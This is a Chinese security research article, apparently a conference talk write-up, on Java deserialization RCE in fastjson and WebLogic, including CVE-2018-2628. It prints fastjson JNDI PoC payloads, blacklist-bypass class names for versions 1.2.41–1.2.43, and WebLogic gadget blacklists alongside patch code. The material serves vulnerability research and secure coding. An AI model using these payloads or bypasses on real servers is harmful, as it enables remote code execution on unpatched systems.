作者:廖新喜
公众号:廖新喜
2017年又是反序列漏洞的大年,涌现了许多经典的因为反序列化导致的远程代码执行漏洞,像fastjson,jackson,struts2,weblogic这些使用量非常大的产品都存在这类漏洞,但不幸的是,这些漏洞的修复方式都是基于黑名单,每次都是旧洞未补全,新洞已面世。随着虚拟货币的暴涨,这些直接的远程执行代码漏洞都成了挖矿者的乐园。
本议题将从那些经典案例入手,分析攻击方和防御方的对抗过程。首先是fastjson的最近的安全补丁的分析,由于黑名单做了加密处理,这里会展开如何得到其黑名单,如何构造PoC。当然2018年的重点还是weblogic,由我给大家剖析CVE-2018-2628及其他Weblogic经典漏洞,带大家傲游反序列化的世界,同时也是希望开发者多多借鉴做好安全编码。
本文作者来自绿盟科技,现任网络安全攻防实验室安全研究经理,安全行业从业七年,是看雪大会讲师,Pycon大会讲师,央视专访嘉宾,向RedHat、Apache、Amazon,Weblogic,阿里提交多份RCE漏洞报告,最近的Weblogic CVE-2018-2628就是一个。
个人博客:xxlegend.com
序列化和反序列化是java引入的数据传输存储接口,序列化是用于将对象转换成二进制串存储,对应着writeObject,而反序列正好相反,将二进制串转换成对象,对应着readObject,类必须实现反序列化接口,同时设置serialVersionUID以便适用不同jvm环境。
可通过SerializationDumper这个工具来查看其存储格式,工具直接可在github上搜索.主要包括Magic头:0xaced,TCOBJECT:0x73,TCCLASS:0x72,serialVersionUID,newHandle
使用场景:
反序列攻击时序图:
常见的反序列化项目:
Fastjson是Alibaba开发的,Java语言编写的高性能JSON库。采用“假定有序 快速匹配”的算法,号称Java语言中最快的JSON库。提供两个主要接口toJsonString和parseObject来分别实现序列化和反序列化,示例代码如下:
User user = new User("guest",2);
String jsonString = JSON.toJSONString(user)
String jsonString = "{\\"name\\":\\"guest\\",\\"age\\":12}"
User user = (User)JSON.parse(jsonString)
Fastjson PoC分类
主要分为两大类,一个是基于TemplateImpl,另外就是基于基于JNDI,基于JNDI的又可分为
a) Bean Property类型
b) Field类型
可以参考Demo:https://github.com/shengqi158/fastjson-remote-code-execute-poc
fastjson为了防止研究人员研究它的黑名单,想出了一套新的黑名单机制,这套黑名单是基于具体类的hash加密算法,不可逆。如果是简单穷举,基本算不出来,后来我想到这些库的黑名单肯定都在Maven仓库中,于是写了个爬虫,爬取Maven仓库下所有类,然后正向匹配输出真正的黑名单类。
下面这段代码是fastjson用来自定义loadClass的实现
public static Class<?> loadClass(String className, ClassLoader classLoader) {
//省略
if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
try {
if (classLoader != null) {
clazz = classLoader.loadClass(className);
首先我们来看一个经典的PoC,{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit"," "autoCommit":true}
,关于这个PoC的解读在我博客上有,这里不再详述,但是今天我们要讲的是前面贴出的一段loadClass导致的一系列漏洞,首先看1.2.41的绕过方法是 Lcom.sun.rowset.RowSetImpl;
,当时看到这个PoC的时候就在想官方不会只去掉一次第一个字符 L
和最后一个字符 ;
吧,果不其然,在官方的修补方案中,如果以 L
打头, ;
结尾则会去掉打头和结尾。当时我就发了一个感概:补丁未出,漏洞已行。很显然,1.2.42的绕过方法是 LLcom.sum.rowset.RowSetImpl;;
,细心的读者还会看到loadClass的第一个if判断中还有 [
打头部分,所以就又有了1.2.43的绕过方法是 [com.sun.rowset.RowSetImp.
在官方版本1.2.45黑名单中又添加了ibatis的黑名单,PoC如下: {"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}
,首先这是一个基于JNDI的PoC,为了更加理解这个PoC,我们还是先来看一下JndiDataSourceFactory的源码。
public class JndiDataSourceFactory implements DataSourceFactory {
public static final String DATA_SOURCE = "data_source";
//省略
public void setProperties(Properties properties) {
try {
InitialContext initCtx = null;
Hashtable env = getEnvProperties(properties);
if (env == null) {
initCtx = new InitialContext();
} else {
initCtx = new InitialContext(env);
}
//省略
} else if (properties.containsKey(DATA_SOURCE)) {
dataSource = (DataSource) initCtx.lookup(properties.getProperty(DATA_SOURCE));
}
} catch (NamingException e) {
throw new DataSourceException("There was an error configuring JndiDataSourceTransactionPool. Cause: " + e, e);
}
}
其本质还是通过bean操作接口set来调用setProperties,然后触发JNDI查询。
Weblogic是第一个成功商业化的J2EE应用服务器,在大型企业中使用非常广泛。在Oracle旗下,可以与其他Oracle产品强强联手,WebLogic Server Java EE 应用基于标准化、模块化的组件,WebLogic Server 为这些模块提供了一组完整的服务,无需编程即可自动处理应用行为的许多细节,另外其独有的T3协议采用序列化实现。下图就是weblogic的历史漏洞展示:
基于T3
org.apache.commons.collections.functors* *
com.sun.org.apache.xalan.internal.xsltc.trax* *
javassist* *
org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.ConversionHandler
org.codehaus.groovy.runtime.MethodClosure
weblogic.rjvm.InboundMsgAbbrev.class :: ServerChannelInputStream
weblogic.rjvm.MsgAbbrevInputStream.class
weblogic.iiop.Utils.class
首先来看下漏洞位置,在readExternal位置,
public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
super.readExternal(var1);
//省略
ByteArrayInputStream var4 = new ByteArrayInputStream(this.buffer);
ObjectInputStream var5 = new ObjectInputStream(var4);
//省略
try {
while (true) {
this.writeObject(var5.readObject());
}
} catch (EOFException var9) {
再来看看补丁,加了一个FilteringObjectInputStream过滤接口
public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
super.readExternal(var1);
//省略
this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)in)
BufferInputStream is = this.payload.getInputStream();
FilteringObjectInputStream var5 = new FilteringObjectInputStream(var4);
//省略
try {
while (true) {
this.writeObject(var5.readObject());
}
} catch (EOFException var9) {
FilteringObjectInputStream的实现如下:
public class FilteringObjectInputStream extends ObjectInputStream {
public FilteringObjectInputStream(InputStream in) throws IOException {
super(in);
}
protected Class<?> resolveClass(java.io.ObjectStreamClass descriptor) throws ClassNotFoundException, IOException {
String className = descriptor.getName();
if(className != null && className.length() > 0 && ClassFilter.isBlackListed(className)) {
throw new InvalidClassException("Unauthorized deserialization attempt", descriptor.getName());
} else {
return super.resolveClass(descriptor);
}
}
}
其实就是在resolveClass位置加了一层黑名单控制。
private static class ServerChannelInputStream extends ObjectInputStream implements ServerChannelStream {
protected Class resolveClass(ObjectStreamClass descriptor) throws ClassNotFoundException, IOException {
String className = descriptor.getName();
if(className != null && className.length() > 0
&& ClassFilter.isBlackListed(className)) {
throw new InvalidClassException("Unauthorized deserialization attempt", descriptor.getName());
} else {
Class c = super.resolveClass(descriptor);
//省略
}
}
protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
String[] arr$ = interfaces;
int len$ = interfaces.length;
for(int i$ = 0; i$ < len$; ++i$) {
String intf = arr$[i$];
if(intf.equals("java.rmi.registry.Registry")) {
throw new InvalidObjectException("Unauthorized proxy deserialization");
}
}
return super.resolveProxyClass(interfaces);
}
CVE-2017-3248 这个漏洞是根据JRMPListener来构造的,从这个补丁也可以看出,在resolveClass和resolveProxyClass都设置了黑名单。
这个漏洞是我报给Oracle官方的,但是他们并没有修复完全,导致后来这个漏洞被滥用。
攻击示意图如下:
简单分析可见:http://xxlegend.com/2018/04/18/CVE-2018-2628%20%E7%AE%80%E5%8D%95%E5%A4%8D%E7%8E%B0%E5%92%8C%E5%88%86%E6%9E%90/
黑名单:
maxdepth=100;
!org.codehaus.groovy.runtime.ConvertedClosure;
!org.codehaus.groovy.runtime.ConversionHandler;
!org.codehaus.groovy.runtime.MethodClosure;
!org.springframework.transaction.support.AbstractPlatformTra
nsactionManager;
!sun.rmi.server.UnicastRef;
!org.apache.commons.collections.functors.*;
!com.sun.org.apache.xalan.internal.xsltc.trax.*;
!javassist.*
当然也有失效的时候,就是发现了新的gadget。这也促使Oracle开始放弃反序列化支持。
绿盟科技Web攻防实验室欢迎各位应聘,招聘大牛和实习生。团队专注于最前沿的Web攻防研究,大数据分析,前瞻性攻击与检测预研.
联系邮箱: liaoxinxi[@]nsfocus.com 或者liwenjin[@]nsfocus.com